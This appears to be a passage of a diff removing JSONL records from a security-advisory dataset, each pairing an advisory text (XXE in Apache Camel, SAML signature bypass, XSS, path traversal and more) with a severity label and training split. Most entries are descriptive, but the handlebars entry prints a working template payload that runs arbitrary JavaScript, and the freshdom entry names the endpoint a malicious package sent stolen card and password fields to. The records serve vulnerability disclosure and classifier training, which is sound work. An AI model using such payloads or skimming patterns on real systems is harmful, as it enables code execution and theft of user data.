at [infosec@tiny.cloud](mailto:infosec@tiny.cloud)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-06", "split": "train"}
-{"id": "fa0d651a360198547f5c", "text": "XML External Entity injection in Apache Camel\n\nApache Camel prior to 2.24.0 contains an XML external entity injection (XXE) vulnerability (CWE-611) due to using an outdated vulnerable JSON-lib library. This affects only the camel-xmljson component, which was removed.", "text_raw": "XML External Entity injection in Apache Camel\n\n[Severity: HIGH]\n\nApache Camel prior to 2.24.0 contains an XML external entity injection (XXE) vulnerability (CWE-611) due to using an outdated vulnerable JSON-lib library. This affects only the camel-xmljson component, which was removed.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-29", "split": "train"}
-{"id": "cc59d033eca292fde381", "text": "Yealink Device Management Server-Side Request Forgery (SSRF) Vulnerability\n\nAffected: Yealink Device Management\n\nYealink Device Management contains a server-side request forgery (SSRF) vulnerability that allows for unauthenticated remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Yealink Device Management Server-Side Request Forgery (SSRF) Vulnerability\n\nAffected: Yealink Device Management\n\nYealink Device Management contains a server-side request forgery (SSRF) vulnerability that allows for unauthenticated remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "39a210e364cfb9c41668", "text": "Ability to expose data in Sylius by using an unintended serialisation group\n\n### Impact\n\nResourceBundle accepts and uses any serialisation groups to be passed via a HTTP header. This might lead to data exposure by using an unintended serialisation group - for example it could make Shop API use a more permissive group from Admin API.\n\nAnyone exposing an API with ResourceBundle's controller is affected. The vulnerable versions are: `<1.3 || >=1.3.0 <=1.3.12 || >=1.4.0 <=1.4.5 || >=1.5.0 <=1.5.0 || >=1.6.0 <=1.6.2`.\n\n### Patches\n\nThe patch is provided for ResourceBundle 1.3.13, 1.4.6, 1.5.1 and 1.6.3, but not for any versions below 1.3.\n\nAfter it is applied, It allows to choose only the groups that are defined in `serialization_groups` or `allowed_serialization_groups` route definition. Any group not defined in those will not be used.\n\nThis behaviour might be a BC break for those using custom groups via the HTTP header, please adjust `allowed_serialization_groups` accordingly.\n\n### Workarounds\n\nService `sylius.resource_controller.request_configuration_factory` can be overridden with an implementation copied from `\\Sylius\\Bundle\\ResourceBundle\\Controller\\RequestConfigurationFactory` where the part that handles custom serialisation groups is deleted.", "text_raw": "Ability to expose data in Sylius by using an unintended serialisation group\n\n[Severity: MEDIUM]\n\n### Impact\n\nResourceBundle accepts and uses any serialisation groups to be passed via a HTTP header. This might lead to data exposure by using an unintended serialisation group - for example it could make Shop API use a more permissive group from Admin API.\n\nAnyone exposing an API with ResourceBundle's controller is affected. The vulnerable versions are: `<1.3 || >=1.3.0 <=1.3.12 || >=1.4.0 <=1.4.5 || >=1.5.0 <=1.5.0 || >=1.6.0 <=1.6.2`.\n\n### Patches\n\nThe patch is provided for ResourceBundle 1.3.13, 1.4.6, 1.5.1 and 1.6.3, but not for any versions below 1.3.\n\nAfter it is applied, It allows to choose only the groups that are defined in `serialization_groups` or `allowed_serialization_groups` route definition. Any group not defined in those will not be used.\n\nThis behaviour might be a BC break for those using custom groups via the HTTP header, please adjust `allowed_serialization_groups` accordingly.\n\n### Workarounds\n\nService `sylius.resource_controller.request_configuration_factory` can be overridden with an implementation copied from `\\Sylius\\Bundle\\ResourceBundle\\Controller\\RequestConfigurationFactory` where the part that handles custom serialisation groups is deleted.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-31", "split": "train"}
-{"id": "8fc49fc81ab88226300e", "text": "Incorrect signature verification in SimpleSAMLphp\n\n### Background\nAn incorrect check of return values in the signature validation utilities allows an attacker to get invalid signatures accepted as valid by forcing an error during validation.\n\n### Description\nThe `SimpleSAML_XML_Validator` class allows the verification of the XML digital signature of a SAML 1 message with a given key. In particular, the constructor of the class receives an XML node and a key to verify it and throws an exception in case there is an error, either caused by incorrect input or an invalid signature. This method uses the `verify()` method from the `RobRichards\\XMLSecDSig` class to verify the signature with the given key, which in turn will end up calling `openssl_verify()` depending on the signature algorithm used.\n\nThe `openssl_verify()` function returns `1` when the signature was successfully verified, `0` if it failed to verify with the given key and `-1` in case an error occurs. PHP allows translating numerical values to boolean implicitly, with the following correspondences:\n\n- `0` equals `false`\n- Non-zero equals `true`\n\nThis means that an implicit conversion to _boolean_ of the values returned by `openssl_verify()` will convert an error state, signaled by the value `-1`, to successful verification of the signature (represented by the _boolean_ `true`).\n\nThe aforementioned constructor was performing an implicit conversion to boolean of the values returned by the `verify()` method, which subsequently will return the same output as `openssl_verify()` under most circumstances. This means an error during signature verification is treated as a successful verification by the method.\n\n###  Affected versions\nAll SimpleSAMLphp versions prior to **1.14.11**.\n\n###  Impact\nUpon successful exploitation, an invalid signature would be regarded as valid by an affected version of the software. This allows attackers to modify or manually craft **SAML 1 response messages** and, by triggering a signature validation error in the affected party, get those messages accepted as valid and coming from a trusted entity. In practice, this means full capabilities to impersonate any individual at a given service provider.\n\nThe issue can be exploited to get other invalid messages accepted as valid, though the security implications there are minor.\n\nIn order to exploit the issue, **SAML 1.1 metadata must be registered by the vulnerable Service Provider for the Identity Provider targeted by the attacker** (in `metadata/shib13-idp-remote.php`), and an incorrect context must be fed to the signature validation routines, or an exceptional error must be triggered. So far, the following cases have been identified:\n\n- Using a DSA public key to validate an XML signature made with an RSA-related algorithm.\n- Using an RSA public key to validate an XML signature made with a DSA-related algorithm.\n- Exhausting available memory while verifying the signature.\n\nSimpleSAMLphp **does not support DSA signatures or keys**. Therefore, it is not possible for an attacker to feed an incorrect context by sending a signature with an incorrect algorithm. Upon reception of a DSA-SHA1 signature, SimpleSAMLphp will refuse to perform the validation due to the algorithm not being supported. On the other hand, if an attacker manages to trick a service provider operator to change the public key associated to a certain IdP to a DSA key, signatures made with any combination of the RSA algorithm will be accepted, regardless of whether they are valid or not. This means some serious misconfiguration or social engineering is needed in this case for a successful attack.\n\nRegarding memory exhaustion, it is in theory possible to attack a service provider causing the consumption of all available memory while a message with an invalid signature is being validated. However, memory exhaustion must happen only during signature validation and not immediately before or after. This means exploitation of this case is extremely difficult due to the small time window available for the attacker and the precise control that ", "text_raw": "Incorrect signature verification in SimpleSAMLphp\n\n[Severity: MEDIUM]\n\n### Background\nAn incorrect check of return values in the signature validation utilities allows an attacker to get invalid signatures accepted as valid by forcing an error during validation.\n\n### Description\nThe `SimpleSAML_XML_Validator` class allows the verification of the XML digital signature of a SAML 1 message with a given key. In particular, the constructor of the class receives an XML node and a key to verify it and throws an exception in case there is an error, either caused by incorrect input or an invalid signature. This method uses the `verify()` method from the `RobRichards\\XMLSecDSig` class to verify the signature with the given key, which in turn will end up calling `openssl_verify()` depending on the signature algorithm used.\n\nThe `openssl_verify()` function returns `1` when the signature was successfully verified, `0` if it failed to verify with the given key and `-1` in case an error occurs. PHP allows translating numerical values to boolean implicitly, with the following correspondences:\n\n- `0` equals `false`\n- Non-zero equals `true`\n\nThis means that an implicit conversion to _boolean_ of the values returned by `openssl_verify()` will convert an error state, signaled by the value `-1`, to successful verification of the signature (represented by the _boolean_ `true`).\n\nThe aforementioned constructor was performing an implicit conversion to boolean of the values returned by the `verify()` method, which subsequently will return the same output as `openssl_verify()` under most circumstances. This means an error during signature verification is treated as a successful verification by the method.\n\n###  Affected versions\nAll SimpleSAMLphp versions prior to **1.14.11**.\n\n###  Impact\nUpon successful exploitation, an invalid signature would be regarded as valid by an affected version of the software. This allows attackers to modify or manually craft **SAML 1 response messages** and, by triggering a signature validation error in the affected party, get those messages accepted as valid and coming from a trusted entity. In practice, this means full capabilities to impersonate any individual at a given service provider.\n\nThe issue can be exploited to get other invalid messages accepted as valid, though the security implications there are minor.\n\nIn order to exploit the issue, **SAML 1.1 metadata must be registered by the vulnerable Service Provider for the Identity Provider targeted by the attacker** (in `metadata/shib13-idp-remote.php`), and an incorrect context must be fed to the signature validation routines, or an exceptional error must be triggered. So far, the following cases have been identified:\n\n- Using a DSA public key to validate an XML signature made with an RSA-related algorithm.\n- Using an RSA public key to validate an XML signature made with a DSA-related algorithm.\n- Exhausting available memory while verifying the signature.\n\nSimpleSAMLphp **does not support DSA signatures or keys**. Therefore, it is not possible for an attacker to feed an incorrect context by sending a signature with an incorrect algorithm. Upon reception of a DSA-SHA1 signature, SimpleSAMLphp will refuse to perform the validation due to the algorithm not being supported. On the other hand, if an attacker manages to trick a service provider operator to change the public key associated to a certain IdP to a DSA key, signatures made with any combination of the RSA algorithm will be accepted, regardless of whether they are valid or not. This means some serious misconfiguration or social engineering is needed in this case for a successful attack.\n\nRegarding memory exhaustion, it is in theory possible to attack a service provider causing the consumption of all available memory while a message with an invalid signature is being validated. However, memory exhaustion must happen only during signature validation and not immediately before or after. This means exploitation of this case is extremely difficult due to the small time window available for the attacker and the p", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-24", "split": "train"}
-{"id": "0618e34527b271e85cfa", "text": "Apache Tomcat unauthorized access vulnerability\n\nThe URL pattern of \"\" (the empty string) which exactly maps to the context root was not correctly handled in Apache Tomcat 9.0.0.M1 to 9.0.4, 8.5.0 to 8.5.27, 8.0.0.RC1 to 8.0.49 and 7.0.0 to 7.0.84 when used as part of a security constraint definition. This caused the constraint to be ignored. It was, therefore, possible for unauthorised users to gain access to web application resources that should have been protected. Only security constraints with a URL pattern of the empty string were affected.", "text_raw": "Apache Tomcat unauthorized access vulnerability\n\n[Severity: MEDIUM]\n\nThe URL pattern of \"\" (the empty string) which exactly maps to the context root was not correctly handled in Apache Tomcat 9.0.0.M1 to 9.0.4, 8.5.0 to 8.5.27, 8.0.0.RC1 to 8.0.49 and 7.0.0 to 7.0.84 when used as part of a security constraint definition. This caused the constraint to be ignored. It was, therefore, possible for unauthorised users to gain access to web application resources that should have been protected. Only security constraints with a URL pattern of the empty string were affected.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "23dbd0b2be0770edaa39", "text": "Headers containing newline characters can split messages in hyper\n\nSerializing of headers to the socket did not filter the values for newline bytes (\\r or \\n), which allowed for header values to split a request or response. People would not likely include newlines in the headers in their own applications, so the way for most people to exploit this is if an application constructs headers based on unsanitized user input.\n\nThis issue was fixed by replacing all newline characters with a space during serialization of a header value.", "text_raw": "Headers containing newline characters can split messages in hyper\n\n[Severity: MEDIUM]\n\nSerializing of headers to the socket did not filter the values for newline bytes (\\r or \\n), which allowed for header values to split a request or response. People would not likely include newlines in the headers in their own applications, so the way for most people to exploit this is if an application constructs headers based on unsanitized user input.\n\nThis issue was fixed by replacing all newline characters with a space during serialization of a header value.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "9b14a6fa1aaf7f569867", "text": "Out-of-bounds Write in OpenCV\n\nIn opencv calls that use libpng, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges required. User interaction is not required for exploitation. Product: AndroidVersions: Android-10Android ID: A-110986616", "text_raw": "Out-of-bounds Write in OpenCV\n\n[Severity: HIGH]\n\nIn opencv calls that use libpng, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges required. User interaction is not required for exploitation. Product: AndroidVersions: Android-10Android ID: A-110986616", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "7cfc595d7993da866a6c", "text": "Use of Insufficiently Random Values in penggle:kaptcha\n\ntext/impl/DefaultTextCreator.java, text/impl/ChineseTextProducer.java, and text/impl/FiveLetterFirstNameTextCreator.java in kaptcha 2.3.2 use the Random (rather than SecureRandom) function for generating CAPTCHA values, which makes it easier for remote attackers to bypass intended access restrictions via a brute-force approach.", "text_raw": "Use of Insufficiently Random Values in penggle:kaptcha\n\n[Severity: CRITICAL]\n\ntext/impl/DefaultTextCreator.java, text/impl/ChineseTextProducer.java, and text/impl/FiveLetterFirstNameTextCreator.java in kaptcha 2.3.2 use the Random (rather than SecureRandom) function for generating CAPTCHA values, which makes it easier for remote attackers to bypass intended access restrictions via a brute-force approach.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-23", "split": "train"}
-{"id": "c1e0a8fa774a165c6188", "text": "Django Incorrect Default Permissions\n\nAn issue was discovered in Django 2.2 before 2.2.16, 3.0 before 3.0.10, and 3.1 before 3.1.1 (when Python 3.7+ is used). The intermediate-level directories of the filesystem cache had the system's standard umask rather than 0o077.", "text_raw": "Django Incorrect Default Permissions\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Django 2.2 before 2.2.16, 3.0 before 3.0.10, and 3.1 before 3.1.1 (when Python 3.7+ is used). The intermediate-level directories of the filesystem cache had the system's standard umask rather than 0o077.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-18", "split": "train"}
-{"id": "40b4dfc717d2b57e86bc", "text": "Allocation of Resources Without Limits or Throttling in Undertow\n\nA flaw was discovered in Undertow in versions before Undertow 2.1.1.Final where certain requests to the \"Expect: 100-continue\" header may cause an out of memory error. This flaw may potentially lead to a denial of service.", "text_raw": "Allocation of Resources Without Limits or Throttling in Undertow\n\n[Severity: HIGH]\n\nA flaw was discovered in Undertow in versions before Undertow 2.1.1.Final where certain requests to the \"Expect: 100-continue\" header may cause an out of memory error. This flaw may potentially lead to a denial of service.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-30", "split": "train"}
-{"id": "b54bab4b35ec3de5b016", "text": "Context isolation bypass via Promise in Electron\n\n### Impact\nApps using `contextIsolation` are affected.\n\nThis is a context isolation bypass, meaning that code running in the main world context in the renderer can reach into the isolated Electron context and perform privileged actions.\n\n### Workarounds\nThere are no app-side workarounds, you must update your Electron version to be protected.\n\n### Fixed Versions\n* `9.0.0-beta.21`\n* `8.2.4`\n* `7.2.4`\n* `6.1.11`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@electronjs.org](mailto:security@electronjs.org)", "text_raw": "Context isolation bypass via Promise in Electron\n\n[Severity: LOW]\n\n### Impact\nApps using `contextIsolation` are affected.\n\nThis is a context isolation bypass, meaning that code running in the main world context in the renderer can reach into the isolated Electron context and perform privileged actions.\n\n### Workarounds\nThere are no app-side workarounds, you must update your Electron version to be protected.\n\n### Fixed Versions\n* `9.0.0-beta.21`\n* `8.2.4`\n* `7.2.4`\n* `6.1.11`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@electronjs.org](mailto:security@electronjs.org)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-07-07", "split": "train"}
-{"id": "d6ae7fc293adbbb5edc8", "text": "An issue in Atomix v3.1.5 allows unauthorized Atomix nodes to become the lead node.\n\nAn issue in Atomix v3.1.5 allows unauthorized Atomix nodes to become the lead node in a target cluster via manipulation of the variable terms in RaftContext.", "text_raw": "An issue in Atomix v3.1.5 allows unauthorized Atomix nodes to become the lead node.\n\n[Severity: HIGH]\n\nAn issue in Atomix v3.1.5 allows unauthorized Atomix nodes to become the lead node in a target cluster via manipulation of the variable terms in RaftContext.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-17", "split": "train"}
-{"id": "da740b58b5e4b2af9c61", "text": "Out of bounds write in calamine\n\nAn issue was discovered in the calamine crate before 0.17.0 for Rust. It allows attackers to overwrite heap-memory locations because Vec::set_len is used without proper memory claiming, and this uninitialized memory is used for a user-provided Read operation, as demonstrated by Sectors::get.", "text_raw": "Out of bounds write in calamine\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the calamine crate before 0.17.0 for Rust. It allows attackers to overwrite heap-memory locations because Vec::set_len is used without proper memory claiming, and this uninitialized memory is used for a user-provided Read operation, as demonstrated by Sectors::get.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "9056278466cbf6135bbb", "text": "Rails actionpack gem vulnerable to Cross-site Scripting\n\nMultiple cross-site scripting (XSS) vulnerabilities in the `mail_to` helper in Ruby on Rails before 2.3.11, and 3.x before 3.0.4, when javascript encoding is used, allow remote attackers to inject arbitrary web script or HTML via a crafted (1) name or (2) email value.", "text_raw": "Rails actionpack gem vulnerable to Cross-site Scripting\n\n[Severity: MEDIUM]\n\nMultiple cross-site scripting (XSS) vulnerabilities in the `mail_to` helper in Ruby on Rails before 2.3.11, and 3.x before 3.0.4, when javascript encoding is used, allow remote attackers to inject arbitrary web script or HTML via a crafted (1) name or (2) email value.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "a922afb7edffc865bfb6", "text": "Cross-Site Scripting in htmr\n\nVersions of `htmr` prior to 0.8.7 are vulnerable to Cross-Site Scripting (XSS).  The package uses `innerHTML` to unescape HTML entities. This may lead to [DOM-based XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS) through HTML-encoded XSS payloads. This may allow an attacker to execute arbitrary JavaScript in a victim's browser.\n\n## Recommendation\n\nUpgrade to version 0.8.7 or later.", "text_raw": "Cross-Site Scripting in htmr\n\n[Severity: HIGH]\n\nVersions of `htmr` prior to 0.8.7 are vulnerable to Cross-Site Scripting (XSS).  The package uses `innerHTML` to unescape HTML entities. This may lead to [DOM-based XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS) through HTML-encoded XSS payloads. This may allow an attacker to execute arbitrary JavaScript in a victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 0.8.7 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "f8bf4f6500c54b6eda59", "text": "Cross-Site Scripting in min-http-server\n\nAll versions of `min-http-server` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.\n\n## Recommendation\n\nNo fix is currently available, consider using an alternative package until a fix is made available.", "text_raw": "Cross-Site Scripting in min-http-server\n\n[Severity: MEDIUM]\n\nAll versions of `min-http-server` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.\n\n\n## Recommendation\n\nNo fix is currently available, consider using an alternative package until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-07-31", "split": "train"}
-{"id": "9c4fa9c282a57259896a", "text": "Denial of Service in nes\n\nAffected versions of `nes` are vulnerable to denial of service when given an invalid `cookie` header, and websocket authentication is set to `cookie`. Submitting an invalid cookie on the websocket upgrade request will cause the node process to throw and exit.\n\n## Recommendation\n\nUpdate to version 6.4.1 or later.", "text_raw": "Denial of Service in nes\n\n[Severity: HIGH]\n\nAffected versions of `nes` are vulnerable to denial of service when given an invalid `cookie` header, and websocket authentication is set to `cookie`. Submitting an invalid cookie on the websocket upgrade request will cause the node process to throw and exit.\n\n\n## Recommendation\n\nUpdate to version 6.4.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "d6db18f1b83e56d5692f", "text": "Prototype Pollution in json-ptr\n\nThis affects the package `json-ptr` before `3.0.0`. A type confusion vulnerability can lead to a bypass of CVE-2020-7766 when the user-provided keys used in the pointer parameter are arrays.", "text_raw": "Prototype Pollution in json-ptr\n\n[Severity: MEDIUM]\n\nThis affects the package `json-ptr` before `3.0.0`. A type confusion vulnerability can lead to a bypass of CVE-2020-7766 when the user-provided keys used in the pointer parameter are arrays.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-08", "split": "train"}
-{"id": "c8cf06d0fc6740894396", "text": "XSS in Mapfish Print relating to JSONP support\n\n### Impact\nA user can use the JSONP support to do a Cross-site scripting.\n\n### Patches\nUse version >= 3.24\n\n### Workarounds\nNo\n\n### References\n* https://github.com/mapfish/mapfish-print/pull/1397/commits/89155f2506b9cee822e15ce60ccae390a1419d5e\n* https://cwe.mitre.org/data/definitions/79.html\n\n### For more information\nIf you have any questions or comments about this advisory Comment the pull request: https://github.com/mapfish/mapfish-print/pull/1397", "text_raw": "XSS in Mapfish Print relating to JSONP support\n\n[Severity: LOW]\n\n### Impact\nA user can use the JSONP support to do a Cross-site scripting.\n\n### Patches\nUse version >= 3.24\n\n### Workarounds\nNo\n\n### References\n* https://github.com/mapfish/mapfish-print/pull/1397/commits/89155f2506b9cee822e15ce60ccae390a1419d5e\n* https://cwe.mitre.org/data/definitions/79.html\n\n### For more information\nIf you have any questions or comments about this advisory Comment the pull request: https://github.com/mapfish/mapfish-print/pull/1397", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-07-07", "split": "train"}
-{"id": "aea5c65e146a77838547", "text": "HTTP Response Splitting in Puma\n\nIn Puma (RubyGem) before 4.3.2 and 3.12.3, if an application using Puma allows untrusted input in a response header, an attacker can use newline characters (i.e. `CR`, `LF` or`/r`, `/n`) to end the header and inject malicious content, such as additional headers or an entirely new response body. This vulnerability is known as HTTP Response Splitting.\n\nWhile not an attack in itself, response splitting is a vector for several other attacks, such as cross-site scripting (XSS).\n\nThis is related to CVE-2019-16254, which fixed this vulnerability for the WEBrick Ruby web server.\n\nThis has been fixed in versions 4.3.2 and 3.12.3 by checking all headers for line endings and rejecting headers with those characters.", "text_raw": "HTTP Response Splitting in Puma\n\n[Severity: MEDIUM]\n\nIn Puma (RubyGem) before 4.3.2 and 3.12.3, if an application using Puma allows untrusted input in a response header, an attacker can use newline characters (i.e. `CR`, `LF` or`/r`, `/n`) to end the header and inject malicious content, such as additional headers or an entirely new response body. This vulnerability is known as HTTP Response Splitting.\n\nWhile not an attack in itself, response splitting is a vector for several other attacks, such as cross-site scripting (XSS).\n\nThis is related to CVE-2019-16254, which fixed this vulnerability for the WEBrick Ruby web server.\n\nThis has been fixed in versions 4.3.2 and 3.12.3 by checking all headers for line endings and rejecting headers with those characters.  ", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-02-28", "split": "train"}
-{"id": "7d982df1fed8827cacbd", "text": "Path Traversal in algo-httpserv\n\nVersions of `algo-httpserv` prior to 1.1.2 are vulnerable to Path Traversal.  Due to insufficient input sanitization, attackers can access server files by using relative paths.\n\n## Recommendation\n\nUpgrade to version 1.1.2 or later.", "text_raw": "Path Traversal in algo-httpserv\n\n[Severity: HIGH]\n\nVersions of `algo-httpserv` prior to 1.1.2 are vulnerable to Path Traversal.  Due to insufficient input sanitization, attackers can access server files by using relative paths. \n\n\n## Recommendation\n\nUpgrade to version 1.1.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-09-11", "split": "train"}
-{"id": "00e5a9e0d962ca3fe526", "text": "Malicious Package in freshdom\n\nVersion 0.0.6 of `freshdom` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 0.0.6 of this module is found installed you will want to replace it with a version before or after 0.0.6. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in freshdom\n\n[Severity: CRITICAL]\n\nVersion 0.0.6 of `freshdom` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 0.0.6 of this module is found installed you will want to replace it with a version before or after 0.0.6. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "35b4bda664ee85d77f4d", "text": "Arbitrary Code Execution in handlebars\n\nVersions of `handlebars` prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\nThe following template can be used to demonstrate the vulnerability:  \n```{{#with \"constructor\"}}\n\t{{#with split as |a|}}\n\t\t{{pop (push \"alert('Vulnerable Handlebars JS');\")}}\n\t\t{{#with (concat (lookup join (slice 0 1)))}}\n\t\t\t{{#each (slice 2 3)}}\n\t\t\t\t{{#with (apply 0 a)}}\n\t\t\t\t\t{{.}}\n\t\t\t\t{{/with}}\n\t\t\t{{/each}}\n\t\t{{/with}}\n\t{{/with}}\n{{/with}}```\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.2 or later.", "text_raw": "Arbitrary Code Execution in handlebars\n\n[Severity: HIGH]\n\nVersions of `handlebars` prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\nThe following template can be used to demonstrate the vulnerability:  \n```{{#with \"constructor\"}}\n\t{{#with split as |a|}}\n\t\t{{pop (push \"alert('Vulnerable Handlebars JS');\")}}\n\t\t{{#with (concat (lookup join (slice 0 1)))}}\n\t\t\t{{#each (slice 2 3)}}\n\t\t\t\t{{#with (apply 0 a)}}\n\t\t\t\t\t{{.}}\n\t\t\t\t{{/with}}\n\t\t\t{{/each}}\n\t\t{{/with}}\n\t{{/with}}\n{{/with}}```\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "9d41de6647377f30eb96", "text": "URIjs Hostname spoofing via backslashes in URL\n\n### Impact\nIf using affected versions to determine a URL's hostname, the hostname can be spoofed by using a backslash (`\\`) character as part of the scheme delimiter, e.g. `scheme:/\\hostname`. If the hostname is used in security decisions, the decision may be incorrect.\n\nDepending on library usage and attacker intent, impacts may include allow/block list bypasses, SSRF attacks, open redirects, or other undesired behavior.\n\nExample URL: `https:/\\expected-example.com/path`\nEscaped string: `https:/\\\\expected-example.com/path` (JavaScript strings must escape backslash)\n\nAffected versions incorrectly return no hostname. Patched versions correctly return `expected-example.com`. Patched versions match the behavior of other parsers which implement the [WHATWG URL specification](https://url.spec.whatwg.org/), including web browsers and [Node's built-in URL class](https://nodejs.org/api/url.html).\n\n### Patches\nVersion 1.19.6 is patched against all known payload variants.\n\n### References\nhttps://github.com/medialize/URI.js/releases/tag/v1.19.6 (fix for this particular bypass)\nhttps://github.com/medialize/URI.js/releases/tag/v1.19.4 (fix for related bypass)\nhttps://github.com/medialize/URI.js/releases/tag/v1.19.3 (fix for related bypass)\n[PR #233](https://github.com/medialize/URI.js/pull/233) (initial fix for backslash handling)\n\n### For more information\nIf you have any questions or comments about this advisory, open an issue in https://github.com/medialize/URI.js\n\n### Reporter credit\n[Yaniv Nizry](https://twitter.com/ynizry) from the CxSCA AppSec team at Checkmarx", "text_raw": "URIjs Hostname spoofing via backslashes in URL\n\n[Severity: HIGH]\n\n### Impact\nIf using affected versions to determine a URL's hostname, the hostname can be spoofed by using a backslash (`\\`) character as part of the scheme delimiter, e.g. `scheme:/\\hostname`. If the hostname is used in security decisions, the decision may be incorrect.\n\nDepending on library usage and attacker intent, impacts may include allow/block list bypasses, SSRF attacks, open redirects, or other undesired behavior.\n\nExample URL: `https:/\\expected-example.com/path`\nEscaped string: `https:/\\\\expected-example.com/path` (JavaScript strings must escape backslash)\n\nAffected versions incorrectly return no hostname. Patched versions correctly return `expected-example.com`. Patched versions match the behavior of other parsers which implement the [WHATWG URL specification](https://url.spec.whatwg.org/), including web browsers and [Node's built-in URL class](https://nodejs.org/api/url.html).\n\n### Patches\nVersion 1.19.6 is patched against all known payload variants.\n\n### References\nhttps://github.com/medialize/URI.js/releases/tag/v1.19.6 (fix for this particular bypass)\nhttps://github.com/medialize/URI.js/releases/tag/v1.19.4 (fix for related bypass)\nhttps://github.com/medialize/URI.js/releases/tag/v1.19.3 (fix for related bypass)\n[PR #233](https://github.com/medialize/URI.js/pull/233) (initial fix for backslash handling)\n\n### For more information\nIf you have any questions or comments about this advisory, open an issue in https://github.com/medialize/URI.js\n\n### Reporter credit\n[Yaniv Nizry](https://twitter.com/ynizry) from the CxSCA AppSec team at Checkmarx", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-01", "split": "train"}
-{"id": "6b7c04a7baf9f48a0be7", "text": "LogicalDOC Enterprise 7.7.4 Multiple Directory Traversal Vulnerabilities", "text_raw": "LogicalDOC Enterprise 7.7.4 Multiple Directory Traversal Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2018-02-11", "split": "train"}
